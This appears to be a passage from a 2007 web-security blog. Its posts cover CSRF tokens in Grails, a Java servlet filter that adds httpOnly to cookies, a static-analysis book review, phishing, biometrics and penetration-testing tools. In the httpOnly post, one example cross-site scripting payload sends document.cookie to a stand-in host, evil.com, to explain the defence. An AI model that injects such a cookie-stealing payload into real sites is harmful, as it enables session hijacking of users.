render('Bad token')
} else {
...

The second method I tried was to append the token as another request parameter in the id attribute, like so:
id="${expense?.id + '?token=' + token}"

This also works, although it muttles up the tag a bit, but it makes more sense in the controller - just compare session.token to params.token.

Unfortunately, it was still up to me to generate the token, remember to put it in the form fields, and to remember to check it on the way back in. Not perfect, but security always comes at somebody's cost. In this case, it was mine.

Black Hat/Defcon next week

2007-07-28T15:21:00.000Z

I'll be at Black Hat and Defcon next week, and I hope to see you there. I've already got a pretty full plate of meetups before, during, and after the con. But if you haven't signed up for the OWASP/WASC Cocktail Party, you might go ahead and try. I'm sure the registration is closed by now, but I have a couple of colleagues who tried to sign up pretty recently and still managed to get in - so who knows.

Also, since my paranoia meter goes to 11, I will not be carrying any computing devices with me, save for my mobile phone, so don't expect to see too many posts during that time. I might post some mobile stuff if I see anything photo worthy, but I'm sure many of the other people attending will have the latest scoop for you.

Book Review - Secure Programming with Static Analysis

2007-07-22T23:02:00.000Z

I mentioned a couple of weeks ago Brian Chess and Jacob West's (of Fortify Software) new book Secure Programming with Static Analysis (Addison-Wesley Software Security Series). When I got home the day I mentioned it, I was giddy with excitement because I had just received my copy. I'm kinda' new to book reviews, so please bear with me.

The best and worst thing about this book is its scope. It's great because it covers static analysis from soup to nuts, including why an environment should adopt a static analysis program, how static analysis works, the types of flaws that static analysis finds, how to correct flaws found by static analysis, and how to implement static analysis in your environment. However, that's also the major shortcoming with it. Because it's so broad, it gets very technical in some points, and if you hand the book to an executive type hoping they read chapters 1, 2 and 3, you'd better hope they don't thumb to chapter 4 by accident or else they'll quickly dismiss the book. Note to publisher - make chapters 1, 2, and 3 a removable pamphlet.

Jacob and Brian were fortunate enough to have the foreward written by Gary McGraw, whom I have a great deal of respect for. However, his very first illustration is correct only up to a point:

By contrast, on the first day of software engineering class, budding developers are taught that they can build anything that they can dream of. They usually start with "hello world."

The point of the paragraph (that engineering classes start with keeping people alive in mind, while development begins with features in mind) is spot-on and well taken. However, there's a very large segment of people writing code today who did not study software engineering, but started as hobbyists who learned HTML, then decided to pick up a PHP book - chock-full of really bad examples.

Part One of the book is an overview of static analysis - why you should do it, the different types of static analysis, and some really in-depth coverage of how static analyzers work - obviously they're experts on the matter, and the coverage is very good, but will be mind-numbing to those who don't actually study software. They make very compelling arguments for not only including static analysis as part of your development lifecycle, but also including it early in the lifecycle, and making sure that developers are performing the analysis as well.

Part Two covers some of the problems commonly uncovered by static analyzers. They have many examples of bad code, but thankfully, almost as many examples of specifically how to correct it (after all, I'm about solutions, not problems). They discuss input validation, buffer/integer overflow, and errors and exceptions. Brian and Jacob have some very good examples from open source software, and the fixes that were put into place, as well as some really good recommendations for additional libraries to use that will help alleviate some of the common mistakes that lead to buffer overflows.

Part Three covers environments or types of applications that are currently being written and some of the specific types of flaws that come up in those applications. They cover web applications, XML/web services, privacy, and privileged programs. The book does a really good job of covering the Struts Validator, but I see this section as needing a bit of work - while Struts is still probably the most widely used MVC architecture, the Commons Validator can be used in webapps that are not Struts, but there's no mention that you can actually use the validator outside of a Struts application, although using it within Struts makes it much simpler.

Part Four is Static Analysis in action. There are exercises to walk you through installing Fortify SCA (there's a demo edition included), performing the analysis scan, analyzing the results, and even writing your own rules. I've not walked through the examples, but anybody wishing to see what is involved will actually want to step through these processes.

I know that Brian and Jacob spent a great deal of time on the book. They bring a wealth of knowledge to something that just doesn't get covered much in books, yet it's a critical part of any mature security or development program. Static analysis does not cover every vulnerability possible, but the ones it does catch it catches earlier, and with greater depth, than other methods.

I certainly don't agree with Brian and Jacob on every one of their philosophies. I've had the pleasure of debating with them on some of those philosophies, and I'm convinced I'm still right. Fortunately, those issues don't come through in the book, and as a general reference for executives who need to be convinced of the need of static analysis in the lifecycle, to security practitioners who need to know how to write rules for their system (of course, there's a bent to Fortify SCA), to developers down in the trenches who need to understand what their tool is telling them, this book excels.

Additionally, of the technical books that I've read in first edition, this one is probably one of the best. I've seen very few grammatical flaws or even awkward sentences, and only a handful of code flaws. The writing, you can thank the editors for. The code example excellence, you can thank Brian and Jacob for - and yes, they still write code.

httpOnly filter in Groovy

2007-07-20T12:25:00.000Z

I was able to make the httpOnly filter work in Groovy - the idea was really appealing to me. However, it turns out that it doesn't syntactically save just a whole lot of effort. While groovy has duck-typing, it doesn't get pushed down to Java, so you still have to type everything within the Filter. Furthermore, because it has to be recognized when the app loads, not dynamically, you still have the same compile/reload cycle as you do with a filter written in Java. The only syntactical advantage (that I've seen so far) is being able to short-circuit some of the tests because of "the Groovy truth" and when rendering, you get to use GStrings instead of .append over and over.

So there you have it - it's not that much cleaner to implement the filter in Groovy. I'll have to check the Grails API to see if they pass you a true HTTPServletResponse, or if there's any possibility of wrapping the response that gets injected into controllers to make the cookie re-writing simpler.

Servlet Filter for httpOnly

2007-07-19T17:06:00.000Z

Well, zot! It turns out that you can still get at the cookies by XHR's getAllResponseHeaders().

But since it's still not really that harmful to add it, I've thrown together a servlet filter for adding the attribute when addCookie() is called. Except for the httpOnly attribute, this is no safer than the existing addCookie - meaning if you had header injection flaws before, they're still there. Also, I didn't read RFC 2109 really carefully, so this may break version 1 cookies (however, RFC 2109 cookies are still considered experimental, and you wouldn't be using them by accident).

Now, your container probably has control over the session cookies, and those get added after all the filters run, so you'll still need to consult your app server's documentation to see how to get it to set httpOnly on the session cookie (the one cookie that needs it most).

Furthermore, this does not check for cookies being added by addHeader() or setHeader(). Whether you want to add similar checking to those or not is purely up to you.


public class HttpOnlyResponseWrapper extends HttpServletResponseWrapper {
 private static SimpleDateFormat cookieFormat = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss zzz");

 public HttpOnlyResponseWrapper(HttpServletResponse res) {
   super(res);
 }

 public void addCookie(Cookie cookie) {
   System.out.println("Adding cookie");
   StringBuffer header = new StringBuffer();
   if ((cookie.getName() != null) && (!cookie.getName().equals(""))) {
     header.append(cookie.getName());
   }
   if (cookie.getValue() != null) {
     // Empty values allowed for deleting cookie
     header.append("=" + cookie.getValue());
   }
  
   if (cookie.getVersion() == 1) {
     header.append(";Version=1");
     if (cookie.getComment() != null) {
       header.append(";Comment=\"" + cookie.getComment() + "\"");
     }
     if (cookie.getMaxAge() > -1) {
       header.append(";Max-Age=" + cookie.getMaxAge());
     }
   } else {
     if (cookie.getMaxAge() > -1) {
       Date now = new Date();
       now.setTime(now.getTime() + (1000L * cookie.getMaxAge()));
       header.append(";Expires=" + HttpOnlyResponseWrapper.cookieFormat.format(now));
     }
   }
  
   if (cookie.getDomain() != null) {
     header.append(";Domain=" + cookie.getDomain());
   }
   if (cookie.getPath() != null) {
     header.append(";Path=" + cookie.getPath());
   }
   if (cookie.getSecure()) {
     header.append(";Secure");
   }
   header.append(";httpOnly");
   addHeader("Set-Cookie", header.toString());
 }
}

public class HttpOnlyFilter implements Filter {
 private FilterConfig config;

 @Override
 public void destroy() {
   this.config = null;
 }

 @Override
 public void doFilter(ServletRequest req, ServletResponse res,
     FilterChain chain) throws IOException, ServletException {
   System.out.println("Got here");
  
   HttpOnlyResponseWrapper hres = new HttpOnlyResponseWrapper((HttpServletResponse)res);
   chain.doFilter(req, hres);
 }

 public FilterConfig getFilterConfig() {
   return this.config;
 }

 @Override
 public void init(FilterConfig config) throws ServletException {
   this.config = config;
 }
}

Firefox adds httpOnly attribute support!

2007-07-19T14:21:00.000Z

Thanks to Alex for discovering this for you. This is a feature that security people have been waiting for for a long, long time. Only I thought it was going to be much longer before it was available. I'll go over what httpOnly is, why it took so long, and what you should do about it.
Ordinarily, Javascript has access to the cookies that a user sends to a particular website. So you can access those cookies on the page itself from javascript via document.cookie. This is actually rarely necessary, but a handful of sites still use it, so it needs to stay available.
The problem with this is that if a site has a cross-site scripting vulnerability, then an attacker can gather cookies by cross-site scripting. For example, injecting the following script will send the cookies for a site (including session tokens) to evil.com:


document.write("<img src='http://evil.com/foo.png?cookie=" + document.cookie + "'>");

Internet Explorer added support for a cookie attribute in their cookies called httpOnly. By setting the httpOnly flag on cookies, javascript is not allowed direct access to those cookies with the attribute set. This is also why all the TRACE XHR vulnerabilities in IE were such a big deal - TRACE will send the cookies, and the response from TRACE is just text - so javascript has access to the cookies, only they're not cookies in the response - they're just text.
Firefox has been very slow in adding support for this. There was a large discussion about it, and the reason they were slow to add it is because the cookie store would have to be updated to store that information. But there are so many third-party applications that use access to the Firefox cookie store that they couldn't update the format cleanly. Now, that didn't prevent you from being able to use it before - the attribute was just ignored in Firefox.
Now that it's finally available, use it. If you're constructing the Set-cookie headers by hand, you can just add ;httpOnly yourself. If you're not, .NET allows you to set the attribute by configuration, and in some containers can add the attribute to the auto-generated session tokens themselves, or you can use a filter to add it. This will prevent direct access to session cookies in IE and newer versions of Firefox from accessing cookies directly by javascript, which is one of the more serious attacks available by cross-site scripting (clearly not the only one.)

Google Evades Google

2007-07-12T14:04:00.000Z

I received a spam on a gmail account today that didn't end up in the spam bucket automatically. Ordinarily, gmail does a really good job of filtering SPAM, but this account, then used Picasa's built-in invitation features to send an invite to me to lone used a different vector.

The spammer used an Italian free webmail account as the source address. (Maybe something like Nduja is making it in the wild already?) But rather than use the freemail account directly to send the spam, they created a Picasa ook at the Picasa gallery. The invitation mechanism allows you to put whatever text you want in the body of the invitation, which is where they put the invitation for me to send them my personal information.

There were no links in the body of the email itself, except back to Picasa. But what was really interesting about it is that it evaded the Spam filters by using a Google service. It even had the DKIM headers intact. So since Google verified the authenticity of the sender using DKIM, the email must be trusted, right?

Now, I don't know that Google is using DKIM or SPF to actually reject email yet - they might just be measuring at this point. But there's one way that they won't necessarily be 100% effective.

Jeremiah Grossman: HTTP Response Splitting Revelations

2007-07-12T13:18:00.000Z

Jeremiah Grossman has released some additional information on pervasiveness and severity of HTTP Response Splitting (HRS¹, not to be confused with HRS² which is HTTP Request Smuggling).
While the recommendations are spot-on (input validation, output filtering), I'd say they're a bit incomplete:
1) Input validation should always be whitelist. The recommendation there was to remove carriage returns or linefeeds. My recommendation is don't allow it if it doesn't fit the model you're looking for.
2) (This is the more important). In my experience, it's almost never necessary to return a user's direct input as a header. The most common cases where I see Response Splitting/Header Injection are when a user preference cookie is set (what's your favorite background color?) or in redirects. If it's a user preference, that needs to be kept in the user's session, not as a cookie in the user's browser. And if it's a redirect, if you can exploit an HRS by a redirect, you've almost certainly got an open redirect issue as well.

So there's my amendment:
1) Business rule - whitelist input validation
2) Proper output filtering (some of the Java API's for writing cookies and headers will even throw exceptions if the output isn't properly encoded, but the behavior is inconsistent - some throw exceptions, others don't throw exceptions but encode for you, some do none of the above).
3) Look at the engineering - is the information you're putting in a cookie really necessary to put in a cookie? Does it make more sense to put in the session?

Firefox 3.0a7 URL Highlighting

2007-07-12T12:05:00.001Z

I had a post on why I think highlighting the host in the URL is a bad idea, then RSnake had an additional problem with it.
Here's a screenshot of why I think this is a bad idea:

The screenshot is from one of the full-disclosure URL's that actually redraws the content. As you can see, the host is in dark here, so we know exactly who is rendering the content, but the content can be whatever the attacker wants it to be.

I'm sure another argument against it would be that users simply don't pay attention to the URL bar. However, I think that's a bogus idea - just because not all people use the security features doesn't mean they shouldn't exist. But in this case, I think the host highlighting is actually a step backwards - if it were a really good phishing attack, the URL bar would actually highlight the name of the victim site while what's on the page itself is completely in the control of the hacker.

OT: How to Read More in Less Time

2007-07-10T18:40:00.000Z

Off-topic...

While security and development may be my profession, it's certainly not my only passion. I read blogs in a lot of different disciplines, not only security. Prior to RSS, keeping up-to-date on all that information would have been a nightmare. But even with RSS, separating the signal from the noise can be very difficult. I don't consider myself to be an expert on reading a large volume of material, but I thought I'd share how I at least make it manageable - while still only reading about twice daily.

Without trying to push a particular reader, my mind works well with the "river of news" model. Rather than read a feed, then another feed, then another feed, or even a subject, then another subject, then another subject, it's easier for me to just process all of my reading in a single stream. This is probably my first step in being able to improve the signal-to-noise ratio. There are a handful of ways to do this. If you prefer to use your own reader, even if it's not "River of News", there's always FeedBlendr. There are a handful of desktop readers that display in RoN as well, but unless I have a specific need for one, I'm not a big fan of desktop readers.

Having said all that, you can probably surmise that what's left are web-based readers that support River of News. And while there are others, I personally use Google Reader. I know in the industry a lot of people dislike Google because they harvest so much information, so when they have a vulnerability, it's a big deal with a wide impact. I feel relatively safe with my Google Reader reading, though - I don't watch anything uber-sensitive in Reader, and don't use Google Docs/Spreadsheets.

So how do I use Google Reader in only two or so passes a day? Here's a bullet list:

I only subscribe to one "World News" site and one "Local News" site. Those change from time to time because of technical issues with the feeds on some of them - I don't like to read the same information twice. But keeping the number to two, I'm able to see what's going on in the world (to a degree) while those feeds not dominating my reading list.
I visually filter in one pass, read in a second pass, and sometimes research in a third pass. There's far too much information to actually read every item, so I skim in the first pass and snipe off the items I want to spend some time looking at. There's a lot of stuff that goes into this first pass:

Who wrote the post.
Keywords
Link density (if there's going to be more to read about it later)
Timeliness
Source feed - if it comes from an aggregate site, it might be older or pre-picked before I get to it.

I use keyboard shortcuts. For the first pass, this is crucial. So my two requirements for any reader are River of News and Keyboard Shortcuts. In Google Reader, I keep my fingers on the home keys - J is next, K is previous, S is for Star (or in my case, snipe).
The second pass I do by going to the Starred (or Sniped) items - "gs". Then I'm back to the keyboard shortcuts. Here, 'v' opens the item if I need to read the whole thing (see later about synopses), but generally I use splodge-click so that the site (or link in the post) opens in a new tab but does not get focus - this I do in preparation for the third phase, which is research.
I prefer feeds with full posts as opposed to synopses - except in my local and world news feeds. I know that some of you have ads or fancy-schmancy graphics you want people to see, and I can understand with the ads. But I prefer to be able to read the whole story without having to visit your site.
I generally don't subscribe to aggregating sites. While I think Planet Websecurity is fantastic (thanks christ1an for standing it up and maintaining it), the aggregated sites generally lose some of the formatting and often include more line-noise to begin with. If there's a site that aggregates, I prefer to get a feed of the blog of that site so I can see what blog got added and why. Then I look at the actual site that got added to see if it's something worth watching ongoing.

Readers that have search/filtering capability intrigue me to the degree that I can use a search or regex to kinda' reduce the signal-to-noise ratio to begin with, but I've not found one yet that I'm really happy with. I suppose that's what Yahoo! Pipes, Google Mashup Editor, and Popfly are for, so I suppose I'll start looking that route to pre-filter some of my feeds.

Now a lot of you are going to give alternate reading methods that you think are vastly superior. But for those who don't read a lot but would like to read more, that's how I get away with it while still only reading twice a day.

This is Why Our Job is Hard

2007-07-09T14:15:00.000Z

A colleague sent me this.

From Business Week's July 9 Issue in the Annual Retirement Guide:

HOW CLOSELY WILL THE ADVISER monitor your plan? Through the Internet, 401(k) investors can keep an eye on their account daily if they so choose. Your adviser should be watching regularly, too, and sending you alerts if you need to rebalance or make other changes. The adviser can best stay informed if you hand over the password to your account or, at the very least, forward your monthly statements. In most cases, advisers do not actually make the trades, but rather notify you, then follow up to be sure you've pulled the trigger.

Nice. I've got a better recommendation. If your financial adviser needs your passwords to advise, advise them to take a hike. Because somehow I doubt that anybody has advised them to use something safer than a sticky note to store your credentials. In fact, they probably keep that stuff on a spreadsheet. And if they're a really good adviser, they put it on their mobile phone, too.

It doesn't matter how much you trust your financial adviser not to steal your money. It matters how much you trust everybody who your financial adviser comes into contact with.

No wonder it feels like an uphill battle.

Evading Fingerprint Technology

2007-07-07T13:05:00.000Z

I'm not a forensic scientist, so if I make some forensic assumptions, don't necessarily believe them.

A colleague of mine once said of biometric security devices "it's only bits". That one statement has completely changed the way I look at biometric devices.

The Mythbusters in one episode were able to fool fingerprint security devices using a few of the more obvious and less dramatic (no need to review Season 1 of "24" here) means of fooling them - including using a photocopy of a thumbprint against a system that also checks for heat and pulse. And those are the more obvious methods of fooling the reader (to fool the reader, fool the reader itself).

But I've always been concerned about the systems even if the reader itself is foolproof:

The way your fingerprint is registered in a database is by using a combination of attributes of the way your fingerprint is constructed. Yes, your fingerprint (assuming you have them - some people don't even have them) is unique, but the number of attributes that are measured is finite. And to reduce false-negative rates, I would assume that finite number is somewhat small. The more prints that are in the database, the more chance that there is a collision between two sets of prints when using pure arithmetic to determine a print. This can result in false-identification. Because the attributes the system measures are common between me and some other guy, some other guy sometimes registers as me (even if he's not in the system).
Even if the reader itself is secure, is the channel between the reader and the database secure? Can I get in between and either alter my bits to resemble somebody else's, or can I just send a new transaction with somebody else's bits? Of course, that depends on me understanding the algorithm in order to determine what somebody else's bits are, but:
We all know that secrets don't last. The algorithm that biometric security devices use to generate the bits is proprietary. Why do open security algorithms work? Because millions of eyes have looked at the algorithms - and some of those eyes are really smart. A basic premise of keeping secrets is that the algorithm should be open, but the keys should be secure.
And lastly, I have personally seen many instances where biometric devices are assumed to be sufficient. Consider a really big data center without man traps that uses biometric devices. Since the data center is sufficiently large, nobody knows all the people who work there, so if you refuse to let somebody in, you're being perfectly rude. An attacker just has to wait for somebody on the inside to approach the door to go get coffee, and the attacker approaches the reader just as the door opens. Of course, the guy on the inside holds the door open for him - he's legitimate just by virtue of trying to use the biometric device.
And of course, there's the rubber hose method. Hold a gun to my back, and I'll probably use my fingerprint to let you in. If the mantrap is small enough, it's a good measure against rubber hose, even, but still not effective against:
More extreme measures. Now it's time to review Season 1 of "24" or a Dan Brown book.

Now, I didn't say all this to scare you out of using biometric devices. But biometric devices are only suitable as one means of authentication. You still have to make identification, and you should require more than one means of authentication (depending on the sensitivity of whatever it is you're trying to protect). And lastly, you need sufficient other controls that you can't just walk around the security device (a la the tollgate in Blazing Saddles).

News and Notes - 2007-07-05

2007-07-05T20:03:00.000Z

I've not posted in awhile because I've not spent the time (my own fault) to put together a good post about any of these items. All links are worth a look-see, and probably worth a post in their own right.

Brian Chess and Jacob West's new book Secure Programming with Static Analysis has been released. Pick up your copy today. I don't agree with them 100% on some of their philosophies, but the book is going to be worth the read, and will hopefully lend some weight to those who are trying to make static analysis a regular and vital part of their SDLC.
Christian Matthies has put together a really excellent explanation of DNS pinning, anti-DNS pinning, anti-anti-DNS pinning, and anti-anti-anti-DNS pinning. For those who have been curious, but never read a whole post on the two (anti- and anti-anti-anti-), this one's prolly worth keeping bookmarked for anybody you're bringing up to speed.
SANS has finalized round one of their GIAC Secure Software Programmer certification. I was very happy to hear about an exam they were developing with a couple of universities last autumn, and it's now coming to fruition. It's still operated like any other GIAC offering, so there's not yet a corporate installment of it where you get all your coders certified at once. But it's certainly worth the look - and they do have sample questions. For you C people, it is specific on the different types of overruns. You need to learn all the different ways a buffer overrun happens (off-by-one, fencepost, etc., etc.).
sla.ckers.org has had a couple of interesting threads of late. First, Internet Exploder globs for the language of choice in scripting. Short story there, whitelist input validation and proper output filtering. The real vulnerability there is because people actually filter for "javascript" or somesuch. Second, Firefox hasn't corrected (completely) the non-alpha-non-digit issue. Again, same rules apply. If you're making sure the input is good, as opposed to not-bad, and if you're properly output filtering, you should be fine.

That should be enough to keep you reading for a bit.

The Future of Ethical Hacking

2007-06-26T23:33:00.000Z

I often come across as uber-idealistic, sounding like problems can magically solve themselves in earlier phases of the lifecycle, touting training as the first step to getting problems fixed. I've also probably come across sounding like there's no need for anybody in the development team to think about security per se, because what ends up being exploitable started out as either a semantic flaw (read: typo), or a logical flaw (read: forgetful engineering). I emphasize these (sometimes to a fault) because the earlier things are fixed, the less expensive they are to fix.

One might think that a by-product of better coding, source code reviews and scanning early and often, and security engineers being involved during product engineering would somehow lead to a lack of importance of ethical hackers. Indeed, I've often stated that the Secret Service, when being trained to identify counterfeit money, look at zero counterfeit bills (I've not found anything to substantiate this, but the Secret Service site that tells US Citizens how to identify counterfeit currency has much more information on the real artifact than the fake). However, even in a perfect world, white-room development lifecycle with security testing, real engineering processes, and well-trained coders, I think ethical hacking would still be a critical component, albeit in a somewhat different role.

I've talked about semantic flaws, and logical flaws, but never really addressed something that looks more like design exposures. These are the problems that are inherent to the design, but they actually look like design features. For example, a car that is designed to go 300km/h and from 0 to 100km/h in 4 seconds, when put in the hands of an inexperienced driver, causes a degree of exposure to the driver and those around him. While I have much more confidence in PayPal than with a mom-and-pop location keeping my financial information (or many of them), a site retains your financial information for extended periods of time is some sort of exposure.

So what do design exposures have to do with ethical hacking? I think really good ethical hackers, to be employable long-term, need to be able to engineer ways to exploit those design exposures, or better yet, combinations of them. An ethical hacker, in the future, will be the person who can say that even if your site has zero of the OWASP Top 10 (probably meaning the site is non-functional by today's standards), that there are features there that when used in concert with other sites, other features in the same site, or certain timing of circumstances, can lead to really serious problems.

Fortunately, right now, there's no need for all the ethical hackers to forget everything they know about injection attacks. There are plenty of those yet to fix. And because there are still plenty of those to fix (and because users still click links in emails), the attackers haven't been forced to become more sophisticated in their attacks.

HTML Unit

2007-06-25T22:57:00.001Z

In a previous post, I mentioned that HTML Unit uses Commons HTTPClient, but wasn't certain if the HTTPClient objects were exposed. As it turns out, the HttpState is exposed - client.webConnection.state will get you there. There are warnings all through the javadoc that this may be gone tomorrow, use at your own risk, but for the time being, that's how you can get through authenticated proxies.

For example:

wc = new WebClient(BrowserVersion.MOZILLA_1_0, '127.0.0.1', 8080)
state = wc.webConnection.state
state.setProxyCredentials(AuthScope.ANY,
 new UsernamePasswordCredentials('user','password))

Strangely, there's not a way to set the proxy host and port after the client has been constructed (as far as I can tell), meaning you have to specify a browser version (which is just as well - you're mimicking a browser, why not fake the UserAgent as well?)

MITM Proxies - and other tools

2007-06-25T17:42:00.000Z

RSnake was letting us all know that Portswigger is taking requests for new features for Burp. Burp proxy is one of a handful of tools that you must have in your toolbelt for doing manual assessments. Funny how I've never shared what I have in my manual assessment toolbelt:

MITM proxy - my standard is Paros, but also keep installs of Burp and WebScarab. What you need first and foremost is a proxy that works. Each of them have pros and cons as far as being able to reliably connect under various circumstances. If you're consulting or dealing with vendor apps, you'll probably use all of them at different times to deal with different proxy configurations (I mean corporate proxy, not MITM proxy), host authentication methods, SSL, etc. If the site is SSL and has applets, you'll need one that you can easily modify (this is why I use Paros) so you can change which keystore it uses and make a hacked self-signed cert. Next time I have to do something like this, I'll write a blog post about it. It's not hard, but it's not obvious, either.
Scripting language - I prefer groovy now. Some assessors I know never once write a single line of script. I can't do a single assessment without writing some amount of it. Some people prefer Python, and I just stopped using Perl a year or so ago. I don't know if Ruby has the libraries it needs to make it through various authentication and proxy schemes yet, but I'm sure it will be soon. I switched to Java-based languages because of all the different hoops I have to go through for assessments - Commons HTTPClient can get me there, no matter the circumstances. The Java API's for HTML parsing are less than snappy, but adequate (maybe another post on that), but lately I've started using NekoHTML which balances HTML tags and such to turn it into something you can use XML parsing on, and this weekend finally got around to playing with HTMLUnit (which uses Commons HTTPClient and NekoHTML) - and it makes a lot of tasks a lot easier. It even parses and executes JavaScript, but I've had issues with a few sites (sites with Google Ads in particular), with the Javascript parsing, so I just disable it there.
A good text editor. A "good" text editor is critical just because my editor ends up being my "landing zone" for everything. So you want your text editor to have some of the following features: regex search and replace (absolute must), macro ability (you never know when you need to just cobble something together), tabbed interface, column editing (you'd be surprised how many times I use just this one feature in an assessment). Right now, I'm pretty well stuck with jEdit, but prior to that I used UltraEdit exclusively. I tend to like JEdit now simply because of one feature - Beanshell is built in. This is handy in two places - the first is for encoding and decoding - I've written a handful of macros for doing encoding and decoding (hex->binary, binary->hex, digests, HTML encoding, URL encoding, Base-64, etc.) - but your proxy may also provide this - just nice not to have to switch. And you can make the results of a search and make the replacement the evaluation of a beanshell script, which is handy when dealing with obfuscated code.
Firefox with at least LiveHTTPHeaders, SwitchProxy, User Agent Switcher, and Firebug. What I ended up doing is using a hacked up Portable Firefox for doing assessments, and my primary day-to-day firefox doesn't include all the extensions.
The Gimp. May seem live overkill when you just need screenshots, but you also needs something that can do a really good Gaussian Blur or similar for redacting. With a normal desktop paintbrush, redacting means putting an ugly black bar in front, which for a finalized report doesn't look that great. You want something you can annotate with and make pretty red circles.
I've thought about desktop recording software, and I've seen some really nice ones with voice recording and graphical annotations, but you can't put a video in a printed document, so it's not something I've used a great deal.
The XSS Cheat Sheet. I wish there were SQL Injection (or LDAP Injection, or name that Injection) equivalent for all the various RDMBS out there, but doing a little research on the specific RDBMS and a good set of encoders will get you far.
There's just no substitute for being able to figure out what's going on in the backend. The more opportunity you have to turn your blackbox test into a graybox test, the better your chances of getting a really good exploit. There's not a tool for that, but just know that it's hard to train somebody to be a truly 1337 hacker who doesn't understand a lot about the systems it runs on - application level or OS level. So that being said, there's no substitute for research.

What tools did I miss (besides Telnet?)

Security Company Acquisitions

2007-06-20T15:14:00.000Z

With the two most recent security firm acquisitions (IBM acquiring Watchfire and HP acquiring SPI Dynamics), I thought it was time to chime in and give my .02 USD on the matter.

In general, I don't like these types of acquisitions. Not sure why I'm such a softy for small businesses, but I am. I try to eat at local restaurants, like to shop at the local hardware store, and strangely buy my car insurance by visiting a local agent (even if they are providing insurance from one of the big companies). And both of the companies being acquired got their starts with products written by people down in the trenches - these types of acquisitions always make me fear that the parent corporation will stymie the creativity of the smaller.

But in both of these cases, I see two potential benefits that are unusual - the planets happen to be in the right alignment right now:

Both security companies, on their own, sell their products "in a box". They tell you it's infinitely configurable, and they can consult to help you suit the tool to fit your needs, but because they're smaller companies and don't have a whole lot of consultants, having an onsite consultant full time is not the norm with them. Certainly, out of the box, both their flagship products are simple enough to get base work going, and they both have excellent support for customizing, but other software products I've worked with in the past had a full-time consultant on-site training the operators, writing customized solutions, and so forth. These two companies moving into more "consulting-focused" parent companies may help companies with the resources to have highly-customized solutions based on their tools. That's not to say that either company couldn't (or didn't) customize well on their own, but it's a much more clear option once the bigger companies are up to speed on the products the companies bring in.
With "marquee names" in IT infrastructure, support, development, and consulting buying up security firms, it may have a side-effect of making security more of a front-page thought for development firms. If they already have a relationship with IBM or HP, security may become a natural discussion as part of those relationships. And hopefully the really smart guys at the smaller companies can get some instant development cycles to help them to develop their really bright ideas more.

I don't know that these two things will necessarily come true. They might get bought up and quickly vaporized like most small brands that get bought out by larger firms. But since the larger firms are buying up something they don't ordinarily do, maybe the smaller ones will have an opportunity for growth.

I'm still hopeful that the other really sharp smaller firms out there don't get bought up.

Some Games Can't Be Won

2007-06-12T13:12:00.000Z

Play tic-tac-toe long enough, and you'll soon realize there's no real strategy to it - no outwitting your opponent. The saying I've had for some time is that it's impossible to win at tic-tac-toe, but it is possible to lose. You can't beat your opponent - your opponent can only beat themselves. And if they make a mistake, it's not by some magical twist of strategy. Maybe that's precisely what War Games was trying to get across.

When I'm pessimistic, I think that the bad guys will always have more resources, a better economy, more attackers, and a better environment for creativity than the good guys. And the real root cause of that is that they have competing models. For security folks, they rarely work in an environment where security is the primary goal - they work in companies that make widgets, sell products, or provide a service. And security is something they're compelled by standards organizations to employ. Sometimes, if they're lucky, a security tool can give them a market advantage, but those opportunities are rare - their real competitive advantage comes directly from the things they're trying to sell. The bad guys work in an environment where doing bad things to systems is the primary means of making money. And the additional enticement of making a new cool 'sploit creates an environment where innovation is king. So the bad guys have and almost infinite pool of free labor in script kiddies, and work very hard to get another almost infinite pool of resources in botnets. So in my pessimism, I always think the bad guys will always win, we can only do what we can to try to reduce how much they win.

But when I'm optimistic, I think of securing applications more like tic-tac-toe. We can't win the security game (but that's not the goal - the goal is to win some other game - tic-tac-toe is just a small subset of it), and we just need to make sure that we don't make mistakes. But to make the reduction of those mistakes as small as possible, it's best to eliminate them as early as possible. Many argue that education is not the solution, and I partly agree. Education is not the only solution, but it's a critical part of the best solution - where mistakes happen with lower frequency to begin with, leaving security practitioners more time to find those things that weren't so much typos as engineering mistakes (our nuclear power plant is completely secure - only fuel of a particular type, with a minimum quality, and only in certain amounts are let in. But we built it on a faultline.)

Today I'm more an optimist - we can't win the game, but for a time, there's a known route to preventing loss. Maybe there's a difference between "secure" and "not insecure".

Firefox 3 Screen Mockups - One fix is no fix

2007-06-06T14:45:00.001Z

One of the potential new features of Firefox 3 is that the location bar will be substantially changed. One of the changes possibly on the plate is to gray out all of the location bar except for the domain + tld of the content. I have two problems with this:

1) If mysite.com has an XSS vulnerability, attackers, rather than sending the user to another site, will typically use mysite.com itself to render the new page they want. So the result would look something like:
http://www.mygoodsite.com/redirect.foo?url=[maliciousscript]
See the image at http://people.mozilla.com/~faaborg/files/20070602-firefox3UIFeatures/locationBar.jpg
And it would look like I was visiting goodsite.com. Now, their reasoning for doing it was sound - sometimes when you visit a malicious site, they use visual cues in the location bar to make you think you're not at the malicious site.
2) The location bar doesn't tell you where all the content is coming from.

In the Business for Too Long

2007-06-05T01:28:00.000Z

I think I've been in the business for too long. I distrust everybody. I went camping last weekend, and as I'm walking back to the site from taking out some trash, a complete stranger walks up to me and starts making conversation.

CS: Well, I guess I'll stay on for another week.
What's his angle?
SV: Really? How long you been here for?
Maybe he's just making small talk....
CS: Well, since the last week of March.
What's his angle?
SV: Really?
CS: Yeah - got my RV parked here.
Maybe he's trying to make small talk. Guess I'll make small talk.
SV: Really? You in the permanent resident area?
CS: Naw. Parked over here. Pay by the week.
What's his angle? Time to hit eject.
SV: Hmm...
CS: Yeah - paying $120 a week.
Okay - really time to hit eject, but this is too intriguing. It is a holiday weekend.
SV: Really? That's dirt cheap compared to what I'm paying for a tent site per night.
Okay - really oughn't have said that. What's his angle again?
CS: Well, it is when you're still making a house payment.
Wow! Was that his angle?
SV: Well, gotta run.

Now, the guy was really probably only making small talk. He probably had no malicious intent, and was probably not even looking for a handout. Those not in the field, or who are able to not take work home with them probably would have had a nice conversation with the guy. Maybe my bravo sierra meter goes a bit too high...

Nigel Tufnel: [pause] These go to eleven.

Beef up your browser against phishing attempts

2007-06-05T01:26:00.001Z

Or then again, don't click links in emails or trust links on blogs.

It's really sad when those who have at least a modicum of technical savvy, who write blogs to those who generally don't, tell those who don't the very wrong thing to do. I'm not saying anti-phishing tools are inherently bad, but depending on them is.

Going off the Rails on a Groovy Train - Part 2

2007-06-03T23:23:00.001Z

Well, in Part 1, I promised to explain why I went back to Groovy after ignoring it for so long. But to explain that would be to explain a whole bunch of other stuff. While not completely security related, it might be interesting for developers to see the thought process that makes a wishy-washy person like me jump ships on languages.

